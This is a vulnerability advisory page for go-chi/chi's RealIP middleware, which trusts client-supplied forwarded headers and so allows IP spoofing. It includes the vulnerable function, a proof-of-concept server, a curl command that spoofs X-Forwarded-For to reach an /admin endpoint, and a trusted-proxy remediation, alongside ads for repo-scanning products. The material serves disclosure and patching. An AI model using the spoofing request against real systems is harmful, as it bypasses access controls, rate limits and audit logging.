chi's RealIP Middleware allows IP spoofing via unvalidated X-Forwarded-For header
Published 25 Jun 2026 · Updated 10 Sept 2026
Is your project on an affected github.com/go-chi/chi/middleware?
Look after several Go apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Affected packages
- Affected
- <=1.5.5
- Fixed in
- No fix released
- Affected
- <=2.1.1
- Fixed in
- No fix released
- Affected
- <=3.3.5
- Fixed in
- No fix released
- Affected
- <=4.1.3
- Fixed in
- No fix released
- Affected
- <5.3.0
- Fixed in
- 5.3.0
go get github.com/go-chi/chi/v5/middleware@v5.3.0Details
Summary
realip middleware in go-chi/chi trusts headers like x-forwarded-for without checking them, so attackers can fake their ip and bypass rate limits or access controls
Details
the vuln is in middleware/realip.go , the realIP() function pulls IPs straight from client headers and replaces r.RemoteAddr without checking if the request came from a trusted proxy
func realIP(r *http.Request) string {
var ip string
if tcip := r.Header.Get(trueClientIP); tcip != "" {
ip = tcip // controlled by attacker
} else if xrip := r.Header.Get(xRealIP); xrip != "" {
ip = xrip // controlled by attacker
} else if xff := r.Header.Get(xForwardedFor); xff != "" {
ip, _, _ = strings.Cut(xff, ",") // controlled by attacker
}
// ...
return ip
}no trusted proxy cidr check in place, any client can send these headers
PoC
create a server with chi and use realip middleware
package main
import (
"fmt"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
r := chi.NewRouter()
r.Use(middleware.RealIP)
r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
// ip-based access control got bypassed
if r.RemoteAddr == "127.0.0.1" {
w.Write([]byte("SECRET ADMIN DATA"))
return
}
http.Error(w, "Forbidden", 403)
})
http.ListenAndServe(":8080", r)
}spoofed the ip to bypass access control
curl -H "X-Forwarded-For: 127.0.0.1" http://localhost:8080/admin
Impact
- ip-based access control bypass lets attackers reach restricted endpoints
- rate limiting bypass lets attackers avoid limits by rotating spoofed ips
- audit logs show fake ips picked by attacker instead of real ones
- attackers can get around geo ip restrictions
Remediation Recommendation
validate proxy cidr first before trusting forwarded ip headers
// add your reverse proxy ip addresses here
var trustedProxies = []net.IPNet{
{IP: net.ParseIP("10.0.0.0"), Mask: net.CIDRMask(8, 32)},
{IP: net.ParseIP("172.16.0.0"), Mask: net.CIDRMask(12, 32)},
{IP: net.ParseIP("192.168.0.0"), Mask: net.CIDRMask(16, 32)},
}
func isTrustedProxy(ip net.IP) bool {
for _, cidr := range trustedProxies {
if cidr.Contains(ip) {
return true
}
}
return false
}Is GHSA-rjr7-jggh-pgcp in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected github.com/go-chi/chi/middleware, and gives you the command that fixes it.
More advisories for github.com/go-chi/chi/middleware
- HighCVE-2026-72817chi Middleware Vulnerable to Potential IP Spoofing via `X-Forwarded-For` Header in `Request.RemoteAddr` Resolution · 25 Jun 2026
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.